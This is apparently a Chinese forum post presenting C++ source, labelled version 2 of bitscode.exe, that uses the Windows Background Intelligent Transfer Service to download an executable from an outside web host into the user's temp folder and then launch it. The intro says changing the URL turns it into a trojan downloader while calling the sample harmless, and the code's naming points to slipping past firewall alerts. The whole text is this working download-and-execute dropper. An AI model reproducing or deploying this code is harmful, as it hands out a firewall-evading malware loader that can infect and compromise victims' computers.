虽然稍微修改一下URL,便可以下载木马,但这个咚咚完全无害
- // This is version 2 of bitscode.exe
- // The newer version downloads and starts fwbypassalert.exe in the users temp directory
- #define _WIN32_WINNT 0x0400
- #define _WIN32_DCOM
- #include <stdio.h>
- #include <windows.h>
- #include <objbase.h>
- #include <bits.h>
- #pragma hdrstop
- #pragma comment(lib, "bits.lib")
- #pragma comment(lib, "ole32.lib")
- int main()
- {
- HRESULT hresult;
- IBackgroundCopyManager * bgcopyman;
- IBackgroundCopyJob * bgcopyjob;
- GUID jobid;
- WCHAR source[]=L"http://www.reconstructer.org/fwbypassalert";
- WCHAR target[MAX_PATH+20]=L"";
- WCHAR jobname[]=L"leeching_job";
- WCHAR tmppath[MAX_PATH];
- char exec[MAX_PATH+20]="";
- GetTempPathW(MAX_PATH,tmppath);
- swprintf(target,L"%s\\fwbypassalert.exe",tmppath);
- WideCharToMultiByte(CP_ACP,0,(const unsigned short*)target,MAX_PATH+20,exec,MAX_PATH+20,NULL,NULL);
- hresult = CoInitializeEx(NULL,COINIT_APARTMENTTHREADED);
-
- if(SUCCEEDED(hresult))
- {
- hresult = CoInitializeSecurity(NULL,-1,NULL,NULL,
- RPC_C_AUTHN_LEVEL_CONNECT,
- RPC_C_IMP_LEVEL_IMPERSONATE,
- NULL,EOAC_NONE,0);
- }
- else
- return -1;
-
- if(SUCCEEDED(hresult))
- hresult = CoCreateInstance(CLSID_BackgroundCopyManager,
- 0,
- CLSCTX_ALL,
- IID_IBackgroundCopyManager,
- (LPVOID *)&bgcopyman);
- else
- return -1;
-
- if (hresult==S_OK)
- {
- hresult = bgcopyman->CreateJob(jobname,BG_JOB_TYPE_DOWNLOAD,&jobid,&bgcopyjob);
- if (hresult==S_OK)
- {
- hresult = bgcopyjob->AddFile(source,target);
-
- if (hresult==S_OK)
- {
- BG_JOB_STATE state;
- bgcopyjob->Resume();
-
- do
- {
- Sleep(100);
- hresult = bgcopyjob->GetState(&state);
- } while (state!=BG_JOB_STATE_TRANSFERRED);
-
- bgcopyjob->Complete();
- WinExec(exec, SW_SHOW);
- }
- bgcopyjob->Release();
- }
- bgcopyman->Release();
- }
- CoUninitialize();
- return 0;
- }
复制代码 |